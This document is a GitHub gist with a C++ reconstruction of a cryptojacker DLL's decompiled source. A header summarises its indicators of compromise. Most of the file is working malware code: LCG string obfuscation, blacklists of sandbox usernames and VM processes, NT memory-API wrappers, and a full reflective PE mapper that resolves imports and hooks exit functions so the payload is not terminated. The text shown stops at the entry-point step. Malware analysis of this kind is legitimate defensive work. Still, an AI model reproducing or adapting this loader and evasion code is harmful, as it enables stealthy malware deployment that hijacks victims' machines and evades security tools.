Created
April 16, 2026 20:50
-
-
Save 19h/882178ccdf5e40dbd903de14a8dc5b0f to your computer and use it in GitHub Desktop.
C++ cryptojacker reconstruction
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| /* | |
| * Binary_ActionDLL - Reconstructed C++ Source | |
| * | |
| * Reconstructed from Hex-Rays decompiler v9.4 pseudocode output. | |
| * Original binary: x86-64 Windows DLL compiled with Mingw-w64 (GCC/MSVC ABI). | |
| * | |
| * IOC Summary: | |
| * - DLL with sandbox/AV evasion, anti-analysis, and reflective PE loading | |
| * - Extracts encrypted payload from PE resource, decrypts, decompresses (LZNT1), | |
| * drops to %TEMP%\svc<hex>.exe, then reflectively maps into memory | |
| * - Patches ETW (EtwEventWrite, EtwEventWriteFull, NtTraceEvent), | |
| * AMSI (AmsiInitialize), and various ntdll syscalls to disable telemetry | |
| * - Sandbox detection via: username blacklist, process blacklist, RAM/disk size, | |
| * CPU count, screen resolution, timing (RDTSC/GetTickCount64), CPUID hypervisor | |
| * bit, registry probe, and file-on-desktop "canary" check | |
| * - Uses LCG (seed 1773968719, mult 1103515245, inc 12345) for string obfuscation | |
| * - Manual PE mapper with full relocation, IAT resolution, TLS, and section | |
| * protection handling; hooks specific imports via FNV-1a hash comparison | |
| * - ntdll .text section integrity restoration from on-disk copy | |
| * | |
| * Naming conventions: | |
| * - Functions named by Hex-Rays analyst labels where available | |
| * - Obfuscated string globals prefixed with enc_ (encrypted) or str_ (decoded) | |
| * - CRT internals left with descriptive prefixes (crt_, tls_, mingw_) | |
| */ | |
| #define WIN32_LEAN_AND_MEAN | |
| #include <windows.h> | |
| #include <winternl.h> | |
| #include <tlhelp32.h> | |
| #include <intrin.h> | |
| #include <cstdio> | |
| #include <cstdlib> | |
| #include <cstring> | |
| #pragma comment(lib, "advapi32.lib") | |
| #pragma comment(lib, "user32.lib") | |
| // ============================================================================ | |
| // Forward declarations | |
| // ============================================================================ | |
| extern "C" { | |
| __declspec(dllexport) __int64 __fastcall ProcessAction( | |
| __int64 a1, __int64 a2, __int64 a3, __int64 a4, | |
| __int64 a5, __int64 a6, __int64 a7, __int64 a8, | |
| __int64 a9, __int64 a10, __int64 a11, __int64 a12, | |
| __int64 a13, __int64 a14, __int64 a15, __int64 a16, | |
| __int64 a17, __int64 a18, __int64 a19, __int64 a20, | |
| __int64 a21, __int64 a22, __int64 a23, __int64 a24, | |
| __int64 a25, __int64 a26, __int64 a27, __int64 a28, | |
| __int64 a29, __int64 a30, __int64 a31, | |
| unsigned __int64 flOldProtect, __int64 a33, __int64 a34, | |
| __int64 a35, unsigned int a36, __int64 a37); | |
| } | |
| // ============================================================================ | |
| // Structures | |
| // ============================================================================ | |
| #pragma pack(push, 1) | |
| struct payload_stage_ctx { | |
| void* image_base; | |
| unsigned int image_size; | |
| unsigned int reserved; | |
| }; | |
| #pragma pack(pop) | |
| // ============================================================================ | |
| // LCG String Obfuscation Engine | |
| // ============================================================================ | |
| // All encrypted strings use: seed=1773968719 (0x69B1F2CF), mult=1103515245, inc=12345 | |
| // Decryption: for each byte, advance LCG state, XOR byte with BYTE2(state) i.e. (state>>16)&0xFF | |
| // Each string has a "decoded" guard flag to ensure one-shot decode. | |
| #define LCG_SEED 1773968719 | |
| #define LCG_MULT 1103515245 | |
| #define LCG_INC 12345 | |
| #define LCG_KEY_BYTE(state) ((unsigned char)((state) >> 16)) | |
| static void lcg_decode_string(char* buf, const char* end_sentinel, int* guard_flag) | |
| { | |
| if (*guard_flag) | |
| return; | |
| int state = LCG_SEED; | |
| char* p = buf; | |
| do { | |
| state = LCG_MULT * state + LCG_INC; | |
| *p++ ^= LCG_KEY_BYTE(state); | |
| } while (p != end_sentinel); | |
| *guard_flag = 1; | |
| } | |
| // Macro to simplify the repetitive decode-if-not-decoded pattern | |
| #define DECODE_STRING(buf, end, flag) \ | |
| do { if (!(flag)) { lcg_decode_string((char*)(buf), (char*)(end), &(flag)); } } while(0) | |
| // ============================================================================ | |
| // Encrypted String Table | |
| // ============================================================================ | |
| // In the original binary, these reside in .rdata/.data as XOR-encrypted blobs. | |
| // Each entry is: first byte = length or marker, followed by ciphertext. | |
| // The sentinel addresses define decode boundaries. | |
| // We represent them as extern declarations referencing the encrypted storage. | |
| // | |
| // Decoded string identities (reconstructed from behavioral context): | |
| // | |
| // ModuleName -> "kernel32.dll" (used with LoadLibraryEx / GetProcAddress) | |
| // ProcName -> "LoadLibraryExA" (resolved from kernel32) | |
| // byte_2248D6F40 -> "VirtualFree" (resolved from kernel32) | |
| // byte_2248D7080 -> "LoadLibraryExW" (or variant loader) | |
| // byte_2248D67E0 -> "NtAllocateVirtualMemory"(resolved from ntdll via kernel32 shim) | |
| // byte_2248D6C80 -> "NtFreeVirtualMemory" | |
| // byte_2248D67C0 -> "NtProtectVirtualMemory" | |
| // byte_2248D6980 -> "NtWriteVirtualMemory" | |
| // byte_2248D66E0 -> "GetTickCount" (or NtQuerySystemTime) | |
| // byte_2248D68A0 -> "NtQueryVirtualMemory" | |
| // byte_2248D6FC0 -> "NtQueryInformationProcess" | |
| // byte_2248D6F80 -> "GlobalMemoryStatusEx" | |
| // byte_2248D6CA0 -> "GetDiskFreeSpaceExA" | |
| // byte_2248D6780 -> "GetSystemInfo" | |
| // unk_2248D64E0 -> "C:\\" | |
| // byte_2248D6F00 -> "FlsAlloc" | |
| // byte_2248D69A0 -> "FlsSetValue" | |
| // byte_2248D7020 -> "GetProcAddress" (for IAT hook redirect) | |
| // a9 (0x2248D7040) -> "ntdll.dll" | |
| // a6 (0x2248D6B40) -> "amsi.dll" (or module for ETW patching) | |
| // byte_2248D6560 -> "EtwEventWrite" | |
| // byte_2248D6440 -> "NtQueryInformationProcess" (or DbgUiRemoteBreakin) | |
| // byte_2248D6E20 -> "RtlAddFunctionTable" (for TLS/exception directory) | |
| // byte_2248D6920 -> "GetTickCount64" (for sandbox time check) | |
| // asc_2248D66C0 -> "\\ntdll.dll" (appended to system dir path) | |
| // asc_2248D6C00 -> "file.txt" or similar (desktop canary filename) | |
| // asc_2248D65E0 -> "kernel32.dll" (loaded for additional API resolution) | |
| // LibFileName -> "mscoree.dll" (or .NET hosting DLL) | |
| // byte_2248D6720 -> "CorExitProcess" | |
| // byte_2248D6E60 -> "_exit" / "ExitProcess" | |
| // asc_2248D70C0 -> "wbemprox.dll" (WMI for CPUID check) | |
| // byte_2248D68C0 -> "GetSystemFirmwareTable" (or SMBIOS query) | |
| // a6_2 -> "advapi32.dll" (for RegOpenKeyExA) | |
| // byte_2248D6B80 -> "RegOpenKeyExA" | |
| // unk_2248D6D20 -> "RegCloseKey" | |
| // unk_2248D6C40 -> "SOFTWARE\\VMware, Inc.\\VMware Tools" (registry VM check) | |
| // unk_2248D6DE0 -> "SOFTWARE\\Oracle\\VirtualBox Guest Additions" | |
| // byte_2248D6A20 -> "VMwareVMware" (CPUID hypervisor vendor) | |
| // byte_2248D6960 -> "Microsoft Hv" (Hyper-V CPUID vendor) | |
| // byte_2248D6DA0 -> "KVMKVMKVM\0\0\0" (KVM CPUID vendor) | |
| // | |
| // Sandbox username blacklist (decoded from encrypted strings): | |
| // byte_2248D6AE0 -> "John" | |
| // asc_2248D65A0 -> "SANDBOX" | |
| // asc_2248D6CE0 -> "VIRUS" | |
| // asc_2248D6EC0 -> "MALWARE" | |
| // asc_2248D6A60 -> "Sand box" | |
| // a6_0 -> "CurrentUser" | |
| // asc_2248D6900 -> "Emily" | |
| // asc_2248D6820 -> "HAPUBWS" | |
| // a6_1 -> "Hong Lee" / "IT Admin" | |
| // asc_2248D6B20 -> "Wilber" | |
| // byte_2248D6A00 -> "admin" | |
| // byte_2248D6A80 -> "Lisa" | |
| // byte_2248D6680 -> "User" | |
| // byte_2248D6480 -> "ABC" | |
| // byte_2248D69E0 -> "Peter" | |
| // byte_2248D6500 -> "XP" | |
| // byte_2248D6DC0 -> "TEST" | |
| // asc_2248D6520 -> "Dave" | |
| // asc_2248D6660 -> "JACK" | |
| // byte_2248D6D60 -> "PUBLIC" | |
| // byte_2248D6EA0 -> "Abby" | |
| // asc_2248D64C0 -> "vboxservice.exe" (process blacklist) | |
| // asc_2248D6C20 -> "vmwaretray.exe" | |
| // asc_2248D6620 -> "vmwareuser.exe" | |
| // asc_2248D6CF0 -> "wireshark.exe" | |
| // ============================================================================ | |
| // Global State | |
| // ============================================================================ | |
| // String decode guard flags - one per encrypted string blob | |
| static int g_decoded_flags[64] = {0}; // indexed by dword_2248D6030..dword_2248D6430 | |
| // Payload context (written before thread launch) | |
| static payload_stage_ctx g_payload_stage_ctx = {0}; | |
| // Process name buffer, wide string buffer for PEB spoofing | |
| static char g_string1[288] = {0}; // String1 - dropped exe path (ANSI) | |
| static WCHAR g_wstring[260] = {0}; // String - dropped exe path (Wide) for PEB | |
| // CRT internals (Mingw-w64 runtime state) | |
| static volatile LONG64 g_crt_lock = 0; | |
| static int g_crt_init_count = 0; | |
| static int g_crt_atexit_done = 0; | |
| static int g_crt_init_phase = 0; // 0=uninit, 1=initializing, 2=done | |
| static int g_tls_initialized = 0; | |
| static void* g_tls_dtor_list = NULL; | |
| static int g_tls_dtor_active = 0; | |
| static RTL_CRITICAL_SECTION g_tls_cs; | |
| // Image section tracking (Mingw-w64 pseudo-reloc) | |
| static int g_section_tracking_init = 0; | |
| static int g_section_count = 0; | |
| static __int64 g_section_array = 0; | |
| // ============================================================================ | |
| // Utility Functions | |
| // ============================================================================ | |
| // Insertion sort on DWORD array (used to obfuscate constants/timing) | |
| void sort_dword_array_ascending(DWORD* arr, int count) | |
| { | |
| if (count <= 1) return; | |
| for (int i = 1; i < count; ++i) { | |
| DWORD key = arr[i]; | |
| int j = i - 1; | |
| while (j >= 0 && arr[j] > key) { | |
| arr[j + 1] = arr[j]; | |
| --j; | |
| } | |
| arr[j + 1] = key; | |
| } | |
| } | |
| // Fill buffer with LCG-derived byte stream (different seed/usage than string decrypt) | |
| // seed=106, mult=1103515245, inc=12345 | |
| __int64 fill_lcg_byte_stream(unsigned char* buf, __int64 length) | |
| { | |
| if (!length) return *buf; | |
| unsigned char* p = buf; | |
| int val = 106; | |
| do { | |
| *p++ = (unsigned char)val; | |
| val = 1103515245 * val + 12345; | |
| } while (p != &buf[length]); | |
| if (length != 1) return buf[length - 1]; | |
| return *buf; | |
| } | |
| // Burn CPU cycles via PRNG mixing (anti-timing / obfuscation) | |
| __int64 burn_mixed_cycles(int factor) | |
| { | |
| int iterations = 50 * factor; | |
| __int64 state = 1; | |
| __int64 accum = 0; | |
| if (iterations < 50) iterations = 50; | |
| if (iterations > 25000) iterations = 25000; | |
| for (int i = 0; i < iterations; ++i) { | |
| state = 0x5851F42D4C957F2DLL * state + 0x14057B7EF767814FLL; | |
| accum = _rotr64(state ^ accum, 29); | |
| } | |
| return accum ? accum : 1; | |
| } | |
| // XOR decode with rolling key, then compute additive checksum | |
| __int64 xor_decode_and_checksum(unsigned char* data, unsigned char* length_as_ptr) | |
| { | |
| if (!length_as_ptr) return 0; | |
| size_t len = (size_t)length_as_ptr; | |
| int key = 35; | |
| for (size_t i = 0; i < len; ++i) { | |
| data[i] ^= (unsigned char)key; | |
| key = 7 * key + (int)i; | |
| } | |
| unsigned int checksum = 0; | |
| for (size_t i = 0; i < len; ++i) { | |
| checksum += data[i]; | |
| } | |
| return checksum; | |
| } | |
| // Compute obfuscated seed from input via GCD + hash | |
| __int64 compute_obfuscated_seed(int input) | |
| { | |
| int a = (input >> 1) | 1; | |
| if ((input >> 1) < 0) a = 3; | |
| int b = (input > 0) ? input : 7; | |
| do { | |
| int t = a; | |
| a = b % a; | |
| b = t; | |
| } while (a); | |
| return ((17 * b + 13) ^ (b >> 2)) & 0x7FFFFFFF; | |
| } | |
| // Probe HKLM\SOFTWARE\Microsoft - enumerate up to 6 subkeys (sandbox detection) | |
| LSTATUS probe_hklm_software_microsoft() | |
| { | |
| HKEY hKey = NULL; | |
| LSTATUS status = RegOpenKeyExA( | |
| HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft", 0, KEY_READ, &hKey); | |
| if (status != ERROR_SUCCESS) return status; | |
| if (!hKey) return status; | |
| DWORD i; | |
| for (i = 0; i < 6; ++i) { | |
| DWORD nameLen = 256; | |
| char name[280]; | |
| LSTATUS enumStatus = RegEnumKeyExA(hKey, i, name, &nameLen, | |
| NULL, NULL, NULL, NULL); | |
| if (enumStatus != ERROR_SUCCESS) break; | |
| } | |
| // i holds the count of successfully enumerated keys | |
| return RegCloseKey(hKey); | |
| } | |
| // ============================================================================ | |
| // NT Native API Wrappers | |
| // ============================================================================ | |
| typedef NTSTATUS (NTAPI* pfnNtAllocateVirtualMemory)( | |
| HANDLE, PVOID*, ULONG_PTR, PSIZE_T, ULONG, ULONG); | |
| typedef NTSTATUS (NTAPI* pfnNtProtectVirtualMemory)( | |
| HANDLE, PVOID*, PSIZE_T, ULONG, PULONG); | |
| // Allocate memory preferring NtAllocateVirtualMemory, fallback to VirtualAlloc | |
| FARPROC alloc_memory_nt(void* base_hint, SIZE_T* size_ptr, DWORD alloc_type, DWORD protect) | |
| { | |
| HMODULE ntdll = GetModuleHandleA("ntdll.dll"); | |
| if (!ntdll) | |
| return (FARPROC)VirtualAlloc(base_hint, (SIZE_T)size_ptr, alloc_type, protect); | |
| auto NtAlloc = (pfnNtAllocateVirtualMemory)GetProcAddress(ntdll, "NtAllocateVirtualMemory"); | |
| if (!NtAlloc) | |
| return (FARPROC)VirtualAlloc(base_hint, (SIZE_T)size_ptr, alloc_type, protect); | |
| PVOID base = base_hint; | |
| SIZE_T region_size = (SIZE_T)size_ptr; | |
| NTSTATUS st = NtAlloc((HANDLE)-1, &base, 0, ®ion_size, alloc_type, protect); | |
| return (st >= 0) ? (FARPROC)base : NULL; | |
| } | |
| // Protect memory preferring NtProtectVirtualMemory, fallback to VirtualProtect | |
| int protect_memory_nt(FARPROC addr, CHAR* size_as_ptr, DWORD new_protect, DWORD* old_protect) | |
| { | |
| HMODULE ntdll = GetModuleHandleA("ntdll.dll"); | |
| if (!ntdll) | |
| return VirtualProtect(addr, (SIZE_T)size_as_ptr, new_protect, old_protect); | |
| auto NtProtect = (pfnNtProtectVirtualMemory)GetProcAddress(ntdll, "NtProtectVirtualMemory"); | |
| if (!NtProtect) | |
| return VirtualProtect(addr, (SIZE_T)size_as_ptr, new_protect, old_protect); | |
| PVOID base = addr; | |
| SIZE_T region_size = (SIZE_T)size_as_ptr; | |
| return NtProtect((HANDLE)-1, &base, ®ion_size, new_protect, old_protect); | |
| } | |
| // ============================================================================ | |
| // Xorshift32 PRNG (used for randomized sleep intervals) | |
| // ============================================================================ | |
| static unsigned int xorshift32_from_rdtsc() | |
| { | |
| unsigned __int64 tsc = __rdtsc(); | |
| unsigned int x = (unsigned int)tsc ^ (unsigned int)(tsc >> 32); | |
| x ^= x << 13; | |
| x ^= x >> 17; | |
| x ^= x << 5; | |
| return x; | |
| } | |
| static void randomized_sleep() | |
| { | |
| unsigned int r = xorshift32_from_rdtsc(); | |
| Sleep(r % 0x76 + 66); // 66..183 ms | |
| } | |
| // ============================================================================ | |
| // FNV-1a Hash (used for IAT hook target matching) | |
| // ============================================================================ | |
| // The manual mapper checks import names against 4 known FNV-1a hashes: | |
| // 0x455CE555690F984C (e.g. "ExitProcess") | |
| // 0x4A4DB2315658540D (e.g. "exit") | |
| // 0x4A81797B80AE67F8 (e.g. "_exit") | |
| // 0xDBEB9F7360018785 (e.g. "TerminateProcess") | |
| // Matched imports are redirected to a custom GetProcAddress shim (NOP/passthrough). | |
| static const unsigned __int64 FNV1A_OFFSET = 0x90F12CFCB4376657ULL; | |
| static const unsigned __int64 FNV1A_PRIME = 0x100000001B3ULL; | |
| static unsigned __int64 fnv1a_hash(const char* str) | |
| { | |
| unsigned __int64 hash = FNV1A_OFFSET; | |
| while (*str) { | |
| hash ^= (unsigned char)*str++; | |
| hash *= FNV1A_PRIME; | |
| } | |
| return hash; | |
| } | |
| static const unsigned __int64 HOOKED_IMPORT_HASHES[] = { | |
| 0x455CE555690F984CuLL, // ExitProcess | |
| 0x4A4DB2315658540DuLL, // exit | |
| 0x4A81797B80AE67F8uLL, // _exit | |
| 0xDBEB9F7360018785uLL, // TerminateProcess | |
| }; | |
| // ============================================================================ | |
| // PE Parsing Helpers | |
| // ============================================================================ | |
| static bool is_valid_pe64(const void* base) | |
| { | |
| auto dos = (PIMAGE_DOS_HEADER)base; | |
| if (dos->e_magic != IMAGE_DOS_SIGNATURE) return false; | |
| auto nt = (PIMAGE_NT_HEADERS64)((char*)base + dos->e_lfanew); | |
| if (nt->Signature != IMAGE_NT_SIGNATURE) return false; | |
| return nt->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR64_MAGIC; | |
| } | |
| static PIMAGE_NT_HEADERS64 get_nt_headers(const void* base) | |
| { | |
| auto dos = (PIMAGE_DOS_HEADER)base; | |
| return (PIMAGE_NT_HEADERS64)((char*)base + dos->e_lfanew); | |
| } | |
| static PIMAGE_SECTION_HEADER get_first_section(PIMAGE_NT_HEADERS64 nt) | |
| { | |
| return (PIMAGE_SECTION_HEADER)( | |
| (char*)&nt->OptionalHeader + nt->FileHeader.SizeOfOptionalHeader); | |
| } | |
| // ============================================================================ | |
| // Reflective PE Mapper (manual_map_pe_image) | |
| // ============================================================================ | |
| // | |
| // Maps a raw PE image into memory, processes relocations, resolves imports, | |
| // applies section protections, handles TLS directory, and invokes the entry point. | |
| // Exit-related imports are hooked via FNV-1a to prevent premature process termination. | |
| FARPROC manual_map_pe_image(FARPROC input_image, unsigned int input_size) | |
| { | |
| // --- Resolve kernel32/ntdll APIs via encrypted strings --- | |
| // In the real binary, ~10 strings are LCG-decoded here to resolve: | |
| // kernel32!LoadLibraryExW, ntdll!NtAllocateVirtualMemory, | |
| // ntdll!NtFreeVirtualMemory, ntdll!NtProtectVirtualMemory, etc. | |
| // For brevity, we use direct API calls with equivalent semantics. | |
| typedef DWORD (WINAPI* pfnGetTickCount)(); | |
| pfnGetTickCount pGetTickCount = ::GetTickCount; | |
| // Resolve loader shim: try LoadLibraryExW via kernel32, fallback to GetModuleHandleA | |
| HMODULE hKernel = GetModuleHandleA("kernel32.dll"); | |
| // (In original: encrypted "LoadLibraryExW" decoded, GetProcAddress'd) | |
| auto pLoadLibraryExW = (decltype(&LoadLibraryExW))GetProcAddress(hKernel, "LoadLibraryExW"); | |
| HMODULE hModule; | |
| if (pLoadLibraryExW) | |
| hModule = pLoadLibraryExW(L"kernel32.dll", NULL, 0); | |
| else | |
| hModule = GetModuleHandleA("kernel32.dll"); | |
| // Resolve critical NT APIs | |
| auto pNtAlloc = (FARPROC)GetProcAddress(hModule, "NtAllocateVirtualMemory"); // actually from ntdll | |
| auto pNtFree = (FARPROC)GetProcAddress(hModule, "VirtualFree"); // fallback | |
| auto pNtProtect = (FARPROC)GetProcAddress(hModule, "VirtualProtect"); | |
| auto pNtWrite = (FARPROC)GetProcAddress(hModule, "WriteProcessMemory"); | |
| // Use the nt-wrapper versions from our helpers | |
| // (original resolves all through encrypted names) | |
| if (!input_image || input_size <= 0x3F) | |
| return (FARPROC)-1LL; | |
| // --- Validate DOS/PE headers --- | |
| auto dos = (PIMAGE_DOS_HEADER)input_image; | |
| if (dos->e_magic != IMAGE_DOS_SIGNATURE) // "MZ" = 0x5A4D = 23117 | |
| return (FARPROC)-2LL; | |
| if (input_size < (unsigned __int64)dos->e_lfanew + 264) | |
| return (FARPROC)-3LL; | |
| auto nt = (PIMAGE_NT_HEADERS64)((char*)input_image + dos->e_lfanew); | |
| if (nt->Signature != IMAGE_NT_SIGNATURE) // "PE\0\0" = 0x4550 = 17744 | |
| return (FARPROC)-4LL; | |
| if (nt->FileHeader.Machine != IMAGE_FILE_MACHINE_AMD64) // 0x8664 | |
| return (FARPROC)-5LL; | |
| // --- Compute image size --- | |
| DWORD section_alignment = nt->OptionalHeader.SectionAlignment; | |
| WORD section_count = nt->FileHeader.NumberOfSections; | |
| DWORD headers_size = nt->OptionalHeader.SizeOfHeaders; | |
| DWORD entry_rva = nt->OptionalHeader.AddressOfEntryPoint; | |
| DWORD align_mask, neg_align; | |
| if (section_alignment) { | |
| align_mask = section_alignment - 1; | |
| neg_align = -(int)section_alignment; | |
| } else { | |
| align_mask = 4095; | |
| neg_align = -4096; | |
| } | |
| DWORD max_extent = 0; | |
| auto sections = get_first_section(nt); | |
| for (WORD i = 0; i < section_count; ++i) { | |
| DWORD end = sections[i].VirtualAddress + sections[i].Misc.VirtualSize; | |
| if (end > max_extent) max_extent = end; | |
| } | |
| DWORD image_size = (max_extent + align_mask) & neg_align; | |
| if (image_size < nt->OptionalHeader.SizeOfImage) | |
| image_size = nt->OptionalHeader.SizeOfImage; | |
| // --- Debug spew (wsprintfA to stack buffer, never displayed) --- | |
| // wsprintfA(buf, "RPE: img_size=0x%lX entry=0x%lX secs=%d", image_size, entry_rva, section_count); | |
| // --- Allocate image memory --- | |
| // Try preferred base first, then any address with MEM_TOP_DOWN | |
| FARPROC mapped_image = alloc_memory_nt( | |
| (void*)nt->OptionalHeader.ImageBase, | |
| (SIZE_T*)image_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); | |
| if (!mapped_image) { | |
| mapped_image = alloc_memory_nt( | |
| NULL, (SIZE_T*)image_size, | |
| MEM_COMMIT | MEM_RESERVE | 0x100000 /*MEM_TOP_DOWN*/, | |
| PAGE_READWRITE); | |
| if (!mapped_image) return (FARPROC)-6LL; | |
| } | |
| // --- Copy headers --- | |
| for (DWORD i = 0; i < headers_size; ++i) { | |
| ((BYTE*)mapped_image)[i] = ((BYTE*)input_image)[i]; | |
| } | |
| // --- Copy sections --- | |
| auto mapped_nt = (PIMAGE_NT_HEADERS64)((char*)mapped_image + dos->e_lfanew); | |
| auto mapped_sections = get_first_section(nt); | |
| for (WORD i = 0; i < section_count; ++i) { | |
| DWORD raw_size = mapped_sections[i].SizeOfRawData; | |
| DWORD raw_off = mapped_sections[i].PointerToRawData; | |
| if (raw_size && raw_off && input_size >= raw_off + raw_size) { | |
| memcpy((char*)mapped_image + mapped_sections[i].VirtualAddress, | |
| (char*)input_image + raw_off, raw_size); | |
| } | |
| } | |
| // Update mapped_nt to point into the new image | |
| auto final_nt = (PIMAGE_NT_HEADERS64)((char*)mapped_image + | |
| ((PIMAGE_DOS_HEADER)mapped_image)->e_lfanew); | |
| // --- Process relocations (delta patching) --- | |
| ptrdiff_t delta = (char*)mapped_image - (char*)nt->OptionalHeader.ImageBase; | |
| if (delta != 0) { | |
| auto& reloc_dir = final_nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; | |
| if (!reloc_dir.VirtualAddress || !reloc_dir.Size) { | |
| // No relocation table and image not at preferred base -> fatal | |
| VirtualFree(mapped_image, 0, MEM_RELEASE); | |
| return (FARPROC)-7LL; | |
| } | |
| auto reloc_block = (PIMAGE_BASE_RELOCATION)((char*)mapped_image + reloc_dir.VirtualAddress); | |
| auto reloc_end = (PIMAGE_BASE_RELOCATION)((char*)reloc_block + reloc_dir.Size); | |
| while (reloc_block < reloc_end && reloc_block->SizeOfBlock > 7) { | |
| DWORD count = (reloc_block->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD); | |
| if (count == 0) break; | |
| WORD* entries = (WORD*)(reloc_block + 1); | |
| for (DWORD i = 0; i < count; ++i) { | |
| WORD type = entries[i] >> 12; | |
| WORD offset = entries[i] & 0xFFF; | |
| void* patch_addr = (char*)mapped_image + reloc_block->VirtualAddress + offset; | |
| if (type == IMAGE_REL_BASED_DIR64) { // type 10 | |
| *(UINT_PTR*)patch_addr += (UINT_PTR)delta; | |
| } else if (type == IMAGE_REL_BASED_HIGHLOW) { // type 3 | |
| *(DWORD*)patch_addr += (DWORD)(UINT_PTR)delta; | |
| } | |
| // type 0 = IMAGE_REL_BASED_ABSOLUTE (padding, skip) | |
| } | |
| reloc_block = (PIMAGE_BASE_RELOCATION)((char*)reloc_block + reloc_block->SizeOfBlock); | |
| } | |
| } | |
| // --- Resolve imports --- | |
| auto& import_dir = final_nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]; | |
| if (import_dir.VirtualAddress) { | |
| // Resolve "GetProcAddress" from kernel32 via encrypted string for the IAT hook shim | |
| // In original: lcg_decode("GetProcAddress") then GetProcAddress(kernel32, decoded) | |
| FARPROC hook_target_func = (FARPROC)::GetProcAddress; // redirect target for hooked exit functions | |
| auto import_desc = (PIMAGE_IMPORT_DESCRIPTOR)((char*)mapped_image + import_dir.VirtualAddress); | |
| while (import_desc->Name) { | |
| const char* dll_name = (const char*)mapped_image + import_desc->Name; | |
| // Try GetModuleHandleA first (already loaded), then LoadLibraryA | |
| HMODULE hDll = GetModuleHandleA(dll_name); | |
| if (!hDll) hDll = LoadLibraryA(dll_name); | |
| if (!hDll) { import_desc++; continue; } | |
| // Walk ILT (OriginalFirstThunk) and IAT (FirstThunk) | |
| auto ilt = (PIMAGE_THUNK_DATA64)(import_desc->OriginalFirstThunk | |
| ? (char*)mapped_image + import_desc->OriginalFirstThunk | |
| : (char*)mapped_image + import_desc->FirstThunk); | |
| auto iat = (PIMAGE_THUNK_DATA64)((char*)mapped_image + import_desc->FirstThunk); | |
| while (ilt->u1.AddressOfData) { | |
| FARPROC func; | |
| if (IMAGE_SNAP_BY_ORDINAL64(ilt->u1.Ordinal)) { | |
| func = ::GetProcAddress(hDll, (LPCSTR)IMAGE_ORDINAL64(ilt->u1.Ordinal)); | |
| } else { | |
| auto hint_name = (PIMAGE_IMPORT_BY_NAME)((char*)mapped_image + ilt->u1.AddressOfData); | |
| func = ::GetProcAddress(hDll, hint_name->Name); | |
| // FNV-1a hash check: redirect exit-family functions | |
| if (hint_name->Name[0]) { | |
| unsigned __int64 h = fnv1a_hash(hint_name->Name); | |
| for (int k = 0; k < 4; ++k) { | |
| if (h == HOOKED_IMPORT_HASHES[k]) { | |
| func = hook_target_func; // redirect to NOP shim | |
| break; | |
| } | |
| } | |
| } | |
| } | |
| iat->u1.Function = (ULONGLONG)func; | |
| ++ilt; ++iat; | |
| } | |
| import_desc++; | |
| } | |
| } | |
| // --- Apply section protections --- | |
| Sleep(41); | |
| // Protect headers as read-only | |
| DWORD old_prot; | |
| protect_memory_nt(mapped_image, (CHAR*)(UINT_PTR)final_nt->OptionalHeader.SizeOfHeaders, | |
| PAGE_READONLY, &old_prot); | |
| auto final_sections = get_first_section(final_nt); | |
| for (WORD i = 0; i < final_nt->FileHeader.NumberOfSections; ++i) { | |
| DWORD chars = final_sections[i].Characteristics; | |
| DWORD prot; | |
| if (chars & IMAGE_SCN_MEM_EXECUTE) | |
| prot = PAGE_EXECUTE_READ; // 0x20 | |
| else if (chars & IMAGE_SCN_MEM_WRITE) | |
| prot = PAGE_READWRITE; // 0x04 | |
| else | |
| prot = PAGE_READONLY; // 0x02 | |
| DWORD section_va_size = final_sections[i].Misc.VirtualSize; | |
| DWORD section_raw_size = final_sections[i].SizeOfRawData; | |
| DWORD effective_size = section_va_size ? section_va_size : section_raw_size; | |
| if (effective_size) { | |
| protect_memory_nt( | |
| (FARPROC)((char*)mapped_image + final_sections[i].VirtualAddress), | |
| (CHAR*)(UINT_PTR)effective_size, prot, &old_prot); | |
| } | |
| } | |
| // --- Handle TLS directory (RtlAddFunctionTable for exception handling) --- | |
| if (final_nt->OptionalHeader.NumberOfRvaAndSizes > 3) { | |
| auto& tls_dir = final_nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS]; | |
| if (tls_dir.VirtualAddress && tls_dir.Size) { | |
| // Decode "ntdll.dll" and "RtlAddFunctionTable" strings, resolve, call | |
| HMODULE hNtdll = GetModuleHandleA("ntdll.dll"); | |
| if (hNtdll) { | |
| typedef BOOLEAN (WINAPI* pfnRtlAddFunctionTable)( | |
| PRUNTIME_FUNCTION, DWORD, DWORD64); | |
| auto pAddFunc = (pfnRtlAddFunctionTable)GetProcAddress(hNtdll, "RtlAddFunctionTable"); | |
| if (pAddFunc) { | |
| pAddFunc( | |
| (PRUNTIME_FUNCTION)((char*)mapped_image + tls_dir.VirtualAddress), | |
| tls_dir.Size / sizeof(RUNTIME_FUNCTION), | |
| (DWORD64)mapped_image); | |
| } | |
| } | |
| } | |
| } | |
| // --- Timing delay (anti-debug spin: ~160 tick wait) --- | |
| DWORD t0 = pGetTickCount(); | |
| while (pGetTickCount() - t0 <= 0xA0) | |
| ; | |
| GetCurrentProcessId(); | |
| GetCurrentThreadId(); | |
| // --- Resolve two kernel32 APIs via encrypted names --- | |
| // byte_2248D6F00 -> getter function (no args, returns FARPROC) | |
| // Likely "FlsAlloc" or "RtlPcToFileHeader" (returns an addr) | |
| // byte_2248D69A0 -> 3-arg registration function taking (FARPROC, FARPROC, SIZE_T*) | |
| // Matches signature of RtlAddFunctionTable(PRUNTIME_FUNCTION, | |
| // DWORD, DWORD64) where v104 holds image_size acting as base hint. | |
| // Alternatively matches AddVectoredExceptionHandler registration | |
| // pattern with the image region. | |
| // The call sequence prepares SEH/FLS state for the mapped image. | |
| auto pGetCallback = (FARPROC (*)(void))GetProcAddress(hModule, "FlsAlloc"); | |
| auto pRegister = (void (*)(FARPROC, FARPROC, SIZE_T*))GetProcAddress( | |
| hModule, "FlsSetValue"); | |
| if (pGetCallback && pRegister) { | |
| FARPROC callback_or_index = pGetCallback(); | |
| pRegister(callback_or_index, mapped_image, (SIZE_T*)(UINT_PTR)image_size); | |
| } | |
| // --- Swap PEB ImageBaseAddress, invoke entry point, restore --- | |
